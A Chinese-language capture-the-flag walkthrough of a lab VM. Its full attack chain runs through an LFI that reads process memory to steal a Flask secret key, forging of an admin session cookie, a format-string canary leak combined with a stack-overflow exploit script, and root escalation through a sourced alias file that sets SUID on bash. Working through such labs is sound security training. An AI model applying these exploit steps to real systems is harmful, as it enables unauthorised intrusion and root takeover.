

LaHai-Roi 靶机 Writeup

Author: 104567
OS: Debian Linux
Difficulty: Medium-Hard

第一阶段：Web 渗透 → 二进制利用 → 环境重置

1.1 端口扫描

```
nmap -sS -p- --min-rate=1000 -T4 192.168.3.136
```

端口	服务	版本
22/tcp	SSH	OpenSSH 10.0p2 (Debian)
8000/tcp	HTTP	Werkzeug 3.1.8 / Python 3.13.5
31337/tcp	Elite	自定义服务 "Timeline Keeper v1.0"

1.2 Web 侦察

访问 `http://192.168.3.136:8000/` :

- Session Cookie:** `eyJyb2x1Ijoiz3Vlc3QifQ` → Base64 解码
`{"role": "guest"}`
- HTML 注释:** `<!-- path?file or file?path -->` — LFI 参数提示
- 页面文案:** "Only admin can access diagnostics."

1.3 源码泄露

`robots.txt` 暴露了一个隐藏路径:

```
Disallow: /welcome-back-Aemeath
```

访问 `/welcome-back-Aemeath` 获得 Flask 部分源码:

```

app.secret_key = secrets.token_hex(32) # 64字符 hex, 每次启动随机生

MEMORY_SECRET = ctypes.create_string_buffer(
    b"MEMORY_ONLY_SECRET_BEGIN:"
    + app.secret_key.encode()
    + b":MEMORY_ONLY_SECRET_END" # 密钥明文存在于进程内存中!
)

@app.route("/file")
def file_read():
    path = request.args.get("path", "")
    addr = request.args.get("addr", None) # 支持按偏移读取任意文件

    blacklist = ["flag", "shadow", "passwd", "..", "app.py"]
    filename = path.split("/")[-1].lower() # 仅检查文件名, 不检查路径
    if filename in blacklist:
        return "blocked", 403

    with open(path, "rb") as f:
        if addr:
            f.seek(int(addr, 0)) # 关键: 可跳转到文件/内存
        return Response(f.read(4096))

```

三个攻击入口:

1. `/file?path=` 任意文件读取 — 黑名单只检查 `basename`, 目录前缀可绕过 (如 `path=/proc/self/mem` 不会被 block)
2. `addr` 参数支持内存偏移 — 意味着可以直接读 `/proc/self/mem`
3. **Secret Key** 明文存于内存 — 格式
`MEMORY_ONLY_SECRET_BEGIN:<64 hex>:MEMORY_ONLY_SECRET_END`

1.4 从进程内存提取 Flask Secret Key

Step A — 读内存映射, 定位 `[secret]` 区域:

```
curl -s "http://192.168.3.136:8000/file?path=/proc/self/maps"
```

输出中找到:

```
7f1f19491bb0-7f1f19491db0 rw-p 00000000 00:00 0 [secret]
```

Step B — 读取该内存区域:

```
curl -s "http://192.168.3.136:8000/file?path=/proc/self/mem&addr=0x7f1f1f1f1f1f"
```

内存布局：

```
0x7f...bb0 | MEMORY_ONLY_SECRET_BEGIN: <前 40 hex chars>\n
0x7f...bf0 | <后 24 hex chars>:MEMORY_ONLY_SECRET_END
```

Step C — 拼接 Key： 地址行的 hex 字符会混入其中，因此取第一个 hex 块 + 最后一个 hex 块：

```
import re
hex_blocks = re.findall(r'[0-9a-f]+', chunk)
secret_key = hex_blocks[0] + hex_blocks[-1]    # 恰好 64 字符
assert len(secret_key) == 64
```

1.5 伪造 Admin Session → 获取 SSH 凭据

```
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = secret_key
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
admin_cookie = serializer.dumps({'role': 'admin'})
```

带着伪造的 cookie 访问 `/admin`：

```
curl -b "session=eyJyb2xlIjoiYWRTaW4ifQ.amybxg.EZixWkEtsKHK7NCnAq7IQl3_J"
http://192.168.3.136:8000/admin
```

```
<h3>Admin Diagnostics</h3>
<!-- TODO: Remove this hint - SSH Credentials: aemeath:2d3a692028918ba9a7f2f7b8df093090
```

SSH 凭据到手： `aemeath : 2d3a692028918ba9a7f2f7b8df093090`

1.6 SSH 登录 → 侦查 → User Flag

```
ssh aemeath@192.168.3.136
```

```
aemeath@debian:~$ ls -la
drwx----- 1 aemeath aemeath    50  6月14日 14:29 .
-rw-rw-r-- 1 root    root        44  6月14日 21:50 user.txt
-rw-r--r-- 1 root    root    16472  6月14日 21:54 door          # ← 提权工
```

User Flag: flag{user-***}

第二阶段：二进制漏洞利用（Timeline Keeper → 环境重置）

2.1 分析 `door` 二进制

`door` 是一个 64-bit ELF，绑定在端口 31337，即 "Timeline Keeper v1.0" 服务。

与端口 31337 交互：

```
$ nc 192.168.3.136 31337
Timeline Keeper v1.0
Traveler identity:
> <输入身份>
Signal reflected:
<回显输入>
Memory correction memo:
> <输入备忘录>
Timeline remains unchanged.
```

2.2 反汇编分析

```
ssh aemeath@TARGET 'objdump -d ~/door -M intel'
```

`main` 函数 (0x401463)：初始化 stdio，调用 `keeper()`。

`keeper` 函数 (0x4012f6) — 包含两个漏洞：

```

void keeper() {
    char identity[128];    // rbp-0x90
    char memo[72];        // rbp-0xe0

    printf("Traveler identity:\n> ");
    read(0, identity, 127);
    printf("Signal reflected:\n");
    printf(identity);      // ← 漏洞①: 格式化字符串
    printf("Memory correction memo:\n> ");
    read(0, memo, 256);    // ← 漏洞②: 栈溢出 (72 B buf → 256 B)
    puts("Timeline remains unchanged.");
}

```

win 函数 (0x4011c6) — 利用目标:

```

void win() {
    puts("Bon voyage");    // 输出剧情文本
    sleep(2); /* ...多条 puts/sleep... */
    execl("/usr/bin/sudo", "sudo", "/bin/trigger", ..., NULL); // 以 root 权限运行
}

```

2.3 栈布局

rbp+0x08 → Return Address	← 覆盖目标 (win: 0x4011c6)
rbp+0x00 → Saved RBP	
rbp-0x08 → Stack Canary	← 泄露目标 (%35\$p)
rbp-0x10 → ...	
rbp-0x90 → identity[128]	← printf 格式化字符串在此
rbp-0xe0 → memo[72]	← 溢出点

- canary 偏移量: $(0xe0 - 0x08) = 0xD8 = 216$ 字节

2.4 Exploit

Step A — 格式化字符串泄露 Canary:

```

s = socket.socket()
s.connect(("192.168.3.136", 31337))
s.recv(4096)          # 读 banner
s.send(b'%35$p\n')    # 用格式化字符串读 canary
resp = s.recv(4096).decode()
canary = int(resp.split('\n')[1], 16) # 解析 "0x????????????00"

```

Step B — 栈溢出劫持返回地址:

```
payload = b'A' * 216 # [216] 填充到 canary
payload += struct.pack('<Q', canary) # [8] 正确的 canary (绕过检测)
payload += b'B' * 8 # [8] 覆盖 saved RBP (任意值)
payload += struct.pack('<Q', 0x4011c6) # [8] 跳转到 win()
s.send(payload + b'\n')
```

2.5 结果

```
Timeline remains unchanged.
"不行！这样做你无法返航.....你会永远被放逐到隧门后！"
"但也只有这样.....一切因果才会相衔，拉海洛才会继续存在....."
"爱弥斯！"
".....你我才会在雪中相遇。"
Bon voyage
```

`win()` 成功执行 → `execl("/usr/bin/sudo", "sudo", "/bin/trigger", ...)`
→ 靶机重置，进入新环境。

第三阶段：新环境 → Sudo 别名注入提权

3.1 环境变化

靶机重启后，SSH 凭据不变，但系统环境发生了变化：

```
aemeath@debian:~$ ls -la
# door 二进制消失，user.txt 消失 — 这是一个全新的用户环境

aemeath@debian:~$ ls /home
aemeath  flovverz  11104567  the0n3    # 四个用户
```

3.2 Sudo 权限发现

```
aemeath@debian:~$ sudo -l
用户 aemeath 可以在 debian 上运行以下命令：
(root) NOPASSWD: /bin/welcome
```

3.3 `/bin/welcome` 源码分析

```
aemeath@debian:~$ cat /bin/welcome
```

```
#!/bin/bash
set -euo pipefail

shopt -s expand_aliases          # ← 致命配置：非交互 shell 也展开别名

USER_HOME="$(getent passwd aemeath | cut -d: -f6)"
ALIAS_RC="${USER_HOME}/.aliases"

if [ -r "$ALIAS_RC" ]; then
    source "$ALIAS_RC"          # ← 攻击点：加载用户可控的别名文件
fi

su 11104567 -c 'cd /home/11104567 && bash ./welcome'
```

漏洞分析：

行	问题
<code>shopt -s expand_aliases</code>	在非交互脚本中也展开别名，这是 Bash 中极少使用的选项
<code>source "\$ALIAS_RC"</code>	以 root 身份 source 用户家目录下的文件，用户完全可控
<code>su 11104567 -c '...'</code>	别名展开后， <code>su</code> 可以被劫持为任意命令

3.4 Exploit

`expand_aliases` 生效时，脚本中的 `su` 会被替换为 `.aliases` 中定义的别名。由于不能对带参数的复杂命令使用 `alias`，我们使用 **shell 函数** 来接管：

```
cat > ~/.aliases << 'EOF'
su() { chmod +s /bin/bash }
EOF

sudo /bin/welcome
```

触发后输出：

```
"去自由地去做你想做的事吧，爱弥斯，我永远在你身后。"
".....好。我记得啦。"
```

```
Root Flag: flag{root-***}
```

////////////////////////////////////

